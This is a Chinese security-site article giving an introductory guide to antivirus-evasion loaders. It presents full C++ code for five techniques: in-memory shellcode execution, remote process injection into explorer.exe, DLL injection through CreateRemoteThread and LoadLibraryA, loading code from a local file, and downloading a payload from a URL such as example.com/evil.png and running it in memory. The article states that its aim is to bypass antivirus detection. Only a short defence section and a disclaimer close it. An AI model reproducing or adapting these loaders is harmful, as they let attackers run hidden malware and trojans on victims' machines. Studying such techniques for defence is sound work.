freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

免杀系列——加载器入门
2025-04-05 23:50:09
所属地 贵州省

免杀技术中的加载器类型入门指南

本文将介绍几种常见的加载器技术,帮助大家了解如何利用这些技术在内存中执行代码,从而达到绕过杀毒软件检测的目的。

本文仅供安全研究和技术学习使用,严禁用于非法用途。

一、内存加载技术 

技术特点 

内存加载技术是指将代码直接注入到内存中执行,而不是从磁盘加载。通常用来执行加密或混淆后的代码,躲避杀毒软件的监控。

优点 

  • 隐蔽性高:代码直接在内存中执行,不会在磁盘上留下痕迹。
  • 速度快:直接从内存中执行,避免了磁盘I/O的开销。

劣势 

  • 权限要求高:需要较高权限(如管理员权限)才能操作内存。
  • 易被检测:现代杀毒软件具备内存扫描功能,可能会检测到异常内存操作。

适用范围 

适用于需要隐藏执行过程的场景,例如无文件恶意软件。

人话翻译 

就像把代码直接“塞”进电脑的临时存储区(内存)执行,这样杀毒软件就找不到痕迹,但需要较高权限且容易引起注意。

C++示例代码 

#include <windows.h>
#include <iostream>

int main()
{
    // 要执行的代码(简单的MessageBox弹窗)
    const char shellcode[] = "..."; // 这里需要实际的机器码
    // 分配内存
    LPVOID pMemory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (pMemory == NULL)
    {
        std::cout << "内存分配失败!" << std::endl;
        return -1;
    }
    // 将代码复制到内存中
    memcpy(pMemory, shellcode, sizeof(shellcode));
    // 创建线程执行内存中的代码
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);
    if (hThread == NULL)
    {
        std::cout << "创建线程失败!" << std::endl;
        VirtualFree(pMemory, 0, MEM_RELEASE);
        return -1;
    }
    // 等待线程结束
    WaitForSingleObject(hThread, INFINITE);
    // 释放内存
    VirtualFree(pMemory, 0, MEM_RELEASE);
    return 0;
}

二、进程注入技术 

技术特点 

进程注入技术通过将代码注入到其他进程中执行,借用目标进程的合法性来隐藏自身。

优点 

  • 隐蔽性高:利用已有进程执行代码,不容易引起怀疑。
  • 权限提升:可以借用目标进程的权限执行更高权限的操作。

劣势 

  • 复杂性高:涉及进程间通信和权限管理,编程难度较大。
  • 易被检测:异常的进程行为可能会被安全软件发现。

适用范围 

适用于需要隐藏自身进程或进行权限提升的恶意软件场景。

人话翻译 

就像偷偷“借用”别人的合法进程,将自己的代码塞进去执行,使得杀毒软件难以区分真假。

C++示例代码 

#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
#include <string>

// 获取指定进程名称的进程ID(此处为 explorer.exe)
DWORD GetProcessIdByName(const std::wstring& processName)
{
    DWORD processId = 0;
    HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnap != INVALID_HANDLE_VALUE)
    {
        PROCESSENTRY32W pe;
        pe.dwSize = sizeof(PROCESSENTRY32W);
        if (Process32FirstW(hSnap, &pe))
        {
            do
            {
                // 不区分大小写比较进程名称
                if (!_wcsicmp(pe.szExeFile, processName.c_str()))
                {
                    processId = pe.th32ProcessID;
                    break;
                }
            } while (Process32NextW(hSnap, &pe));
        }
        CloseHandle(hSnap);
    }
    return processId;
}

int main()
{
    // 示例 shellcode:此处为简单的 NOP 填充和 RET 指令,仅作演示用途
    unsigned char shellcode[] = {
        0x90, 0x90, 0x90, 0xC3  // NOP, NOP, NOP, RET
    };
    SIZE_T shellcodeSize = sizeof(shellcode);

    // 获取 explorer.exe 进程ID
    DWORD dwProcessId = GetProcessIdByName(L"explorer.exe");
    if (dwProcessId == 0)
    {
        std::cerr << "未找到 explorer.exe 进程!" << std::endl;
        return -1;
    }
    std::wcout << L"找到 explorer.exe 进程,进程ID: " << dwProcessId << std::endl;

    // 以所需权限打开目标进程
    HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
                                  PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
                                  FALSE, dwProcessId);
    if (hProcess == NULL)
    {
        std::cerr << "打开 explorer.exe 进程失败!" << std::endl;
        return -1;
    }
    // 在目标进程中分配内存,用于存放 shellcode
    LPVOID pRemoteMemory = VirtualAllocEx(hProcess, NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (pRemoteMemory == NULL)
    {
        std::cerr << "在目标进程中分配内存失败!" << std::endl;
        CloseHandle(hProcess);
        return -1;
    }
    // 将 shellcode 写入目标进程内存
    if (!WriteProcessMemory(hProcess, pRemoteMemory, shellcode, shellcodeSize, NULL))
    {
        std::cerr << "写入 shellcode 到目标进程内存失败!" << std::endl;
        VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return -1;
    }
    // 在目标进程中创建远程线程执行注入的 shellcode
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteMemory, NULL, 0, NULL);
    if (hThread == NULL)
    {
        std::cerr << "创建远程线程失败!" << std::endl;
        VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return -1;
    }
    std::cout << "成功注入 shellcode 到 explorer.exe,并创建远程线程执行!" << std::endl;
    // 等待远程线程执行完成
    WaitForSingleObject(hThread, INFINITE);
    // 清理资源
    VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
    CloseHandle(hThread);
    CloseHandle(hProcess);
    return 0;
}

三、DLL注入技术 

技术特点 

DLL注入通过将一个DLL文件加载到目标进程中,实现代码的动态加载和执行。

优点 

  • 隐蔽性高:利用系统的合法DLL加载机制,不容易被检测。
  • 灵活性高:可实现复杂功能,如HOOK系统函数。

劣势 

  • 依赖DLL文件:DLL文件可能会被杀毒软件检测到。
  • 权限问题:操作目标进程时需要足够权限。

适用范围 

适用于需要动态加载代码、实现木马或后门功能的场景。

人话翻译 

就像在别人的程序中偷偷加载一个“特洛伊木马”,利用合法的机制执行自己的代码。

C++示例代码 

#include <windows.h>
#include <iostream>

int main()
{
    // 目标进程ID(假设为 explorer.exe)
    DWORD dwProcessId = 0x1234;

    // 打开目标进程
    HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, FALSE, dwProcessId);
    if (hProcess == NULL)
    {
        std::cout << "打开进程失败!" << std::endl;
        return -1;
    }

    // 分配内存到目标进程
    LPVOID pRemoteMemory = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (pRemoteMemory == NULL)
    {
        std::cout << "内存分配失败!" << std::endl;
        CloseHandle(hProcess);
        return -1;
    }

    // 将DLL路径写入目标进程内存
    const char* dllPath = "C:\\Path\\To\\Evil.dll";
    WriteProcessMemory(hProcess, pRemoteMemory, dllPath, strlen(dllPath) + 1, NULL);

    // 获取LoadLibrary函数地址
    HMODULE hKernel32 = GetModuleHandle("kernel32.dll");
    if (hKernel32 == NULL)
    {
        std::cout << "获取 kernel32.dll 句柄失败!" << std::endl;
        VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return -1;
    }
    FARPROC pLoadLibrary = GetProcAddress(hKernel32, "LoadLibraryA");
    if (pLoadLibrary == NULL)
    {
        std::cout << "获取 LoadLibrary 函数地址失败!" << std::endl;
        VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return -1;
    }

    // 在目标进程中调用 LoadLibrary 加载 DLL
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLoadLibrary, pRemoteMemory, 0, NULL);
    if (hThread == NULL)
    {
        std::cout << "注入失败!" << std::endl;
        VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
        CloseHandle(hProcess);
        return -1;
    }

    // 等待线程结束
    WaitForSingleObject(hThread, INFINITE);

    // 释放内存并关闭句柄
    VirtualFreeEx(hProcess, pRemoteMemory, 0, MEM_RELEASE);
    CloseHandle(hThread);
    CloseHandle(hProcess);

    return 0;
}

四、本地文件分离加载技术 

技术特点 

本地文件分离加载技术通过读取本地文件(如DLL、TXT、图片等)中的代码或数据,再将其加载到内存中执行。

优点 

  • 隐蔽性高:代码不会直接出现在内存中,而是从文件中读取。
  • 灵活性高:支持多种文件格式作为载体。

劣势 

  • 文件风险:本地文件可能会被杀毒软件检测到。
  • 执行速度慢:从文件中读取和加载代码会增加延迟。

适用范围 

适用于需要隐藏代码来源、分散存储的场景,例如恶意软件的分发。

人话翻译 

就像把代码藏在一张“藏宝图”中,只有在需要时才依据这张图找到并执行代码。

C++示例代码 

#include <windows.h>
#include <fstream>
#include <iostream>

int main()
{
    // DLL文件路径
    const char* dllPath = "C:\\Path\\To\\Evil.dll";

    // 读取DLL文件内容
    std::ifstream file(dllPath, std::ios::binary | std::ios::ate);
    if (!file.is_open())
    {
        std::cout << "打开文件失败!" << std::endl;
        return -1;
    }
    size_t fileSize = file.tellg();
    file.seekg(0, std::ios::beg);
    char* buffer = new char[fileSize];
    file.read(buffer, fileSize);
    file.close();

    // 分配内存并加载DLL
    LPVOID pMemory = VirtualAlloc(NULL, fileSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (pMemory == NULL)
    {
        std::cout << "内存分配失败!" << std::endl;
        delete[] buffer;
        return -1;
    }
    memcpy(pMemory, buffer, fileSize);
    delete[] buffer;

    // 创建线程执行DLL代码
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);
    if (hThread == NULL)
    {
        std::cout << "执行失败!" << std::endl;
        VirtualFree(pMemory, 0, MEM_RELEASE);
        return -1;
    }

    // 等待线程结束
    WaitForSingleObject(hThread, INFINITE);

    // 释放内存
    VirtualFree(pMemory, 0, MEM_RELEASE);

    return 0;
}

五、网络文件分离加载技术 

技术特点 

网络文件分离加载技术通过从网络下载文件(如图片、TXT等)中的代码或数据,再加载到内存中执行,从而实现动态更新和远程控制。

优点 

  • 隐蔽性高:代码不在本地存储,难以被检测。
  • 灵活性高:可通过更新网络文件实现动态升级。

劣势 

  • 依赖网络:需要稳定的网络连接支持下载操作。
  • 被检测风险:网络请求可能被防火墙或入侵检测系统(IDS)捕捉。

适用范围 

适用于需要远程更新、动态分发代码的场景,例如远程控制木马。

人话翻译 

就像从网上“快递”过来一个装有代码的“包裹”,然后在本地执行其中的代码。

C++示例代码 

#include <windows.h>
#include <winhttp.h>
#include <iostream>

int main()
{
    // 网络文件URL
    const char* url = "http://example.com/evil.png";

    // 初始化 WinHttp 会话
    HINTERNET hSession = WinHttpOpen(L"WinHTTP Example/1.0", 
                                     WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, 
                                     WINHTTP_NO_PROXY_NAME, 
                                     WINHTTP_NO_PROXY_BYPASS, 0);
    if (!hSession)
    {
        std::cout << "初始化 WinHttp 会话失败!" << std::endl;
        return -1;
    }

    // 连接目标主机
    HINTERNET hConnect = WinHttpConnect(hSession, L"example.com", INTERNET_DEFAULT_HTTP_PORT, 0);
    if (!hConnect)
    {
        std::cout << "连接失败!" << std::endl;
        WinHttpCloseHandle(hSession);
        return -1;
    }

    // 创建 HTTP GET 请求
    HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"GET", L"/evil.png", NULL, WINHTTP_NO_REFERER, NULL, 0);
    if (!hRequest)
    {
        std::cout << "创建请求失败!" << std::endl;
        WinHttpCloseHandle(hConnect);
        WinHttpCloseHandle(hSession);
        return -1;
    }

    // 发送请求
    if (!WinHttpSendRequest(hRequest, 
                            WINHTTP_NO_ADDITIONAL_HEADERS, 0, 
                            WINHTTP_NO_REQUEST_DATA, 0, 0, 0))
    {
        std::cout << "发送请求失败!" << std::endl;
        WinHttpCloseHandle(hRequest);
        WinHttpCloseHandle(hConnect);
        WinHttpCloseHandle(hSession);
        return -1;
    }

    // 接收响应
    if (!WinHttpReceiveResponse(hRequest, NULL))
    {
        std::cout << "接收响应失败!" << std::endl;
        WinHttpCloseHandle(hRequest);
        WinHttpCloseHandle(hConnect);
        WinHttpCloseHandle(hSession);
        return -1;
    }

    // 获取可用数据大小
    DWORD dwSize = 0;
    if (!WinHttpQueryDataAvailable(hRequest, &dwSize))
    {
        std::cout << "查询数据大小失败!" << std::endl;
        WinHttpCloseHandle(hRequest);
        WinHttpCloseHandle(hConnect);
        WinHttpCloseHandle(hSession);
        return -1;
    }

    // 分配缓冲区读取数据
    char* buffer = new char[dwSize];
    DWORD dwDownloaded = 0;
    if (!WinHttpReadData(hRequest, buffer, dwSize, &dwDownloaded))
    {
        std::cout << "读取数据失败!" << std::endl;
        delete[] buffer;
        WinHttpCloseHandle(hRequest);
        WinHttpCloseHandle(hConnect);
        WinHttpCloseHandle(hSession);
        return -1;
    }

    // 分配内存并加载下载的代码
    LPVOID pMemory = VirtualAlloc(NULL, dwDownloaded, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (pMemory == NULL)
    {
        std::cout << "内存分配失败!" << std::endl;
        delete[] buffer;
        WinHttpCloseHandle(hRequest);
        WinHttpCloseHandle(hConnect);
        WinHttpCloseHandle(hSession);
        return -1;
    }
    memcpy(pMemory, buffer, dwDownloaded);
    delete[] buffer;

    // 执行下载的代码
    HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pMemory, NULL, 0, NULL);
    if (hThread == NULL)
    {
        std::cout << "执行代码失败!" << std::endl;
        VirtualFree(pMemory, 0, MEM_RELEASE);
        WinHttpCloseHandle(hRequest);
        WinHttpCloseHandle(hConnect);
        WinHttpCloseHandle(hSession);
        return -1;
    }
    WaitForSingleObject(hThread, INFINITE);

    // 清理资源
    VirtualFree(pMemory, 0, MEM_RELEASE);
    WinHttpCloseHandle(hRequest);
    WinHttpCloseHandle(hConnect);
    WinHttpCloseHandle(hSession);

    return 0;
}

六、总结与防御建议 

在本文中,我们详细介绍了五种加载器技术:

  1. 内存加载技术:直接将代码注入内存执行,速度快但权限要求高。
  2. 进程注入技术:通过注入合法进程来隐藏自身,适合权限提升但复杂度较高。
  3. DLL注入技术:利用系统DLL加载机制进行注入,隐蔽性较好,但需要额外的DLL文件。
  4. 本地文件分离加载技术:从本地文件中读取代码执行,适用于代码分散存储,但存在文件被查杀风险。
  5. 网络文件分离加载技术:通过网络下载代码文件后执行,便于动态更新,但依赖网络且容易被防火墙检测。

防御建议

  • 行为监控:加强内存和进程行为监控,及时检测异常内存分配和进程注入行为。
  • 完整性校验:对关键系统文件进行完整性校验,防止被恶意代码篡改。
  • 网络监控:对异常网络流量进行监控,及时发现从非信任源下载的文件。
  • 用户权限管理:最小化用户权限,限制高权限程序的执行,减少免杀技术的利用风险。

免责声明:本文仅用于技术交流和研究目的,请勿用于非法行为!

# 网络安全 # 系统安全 # 内网渗透 # 免杀 # 免杀木马
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录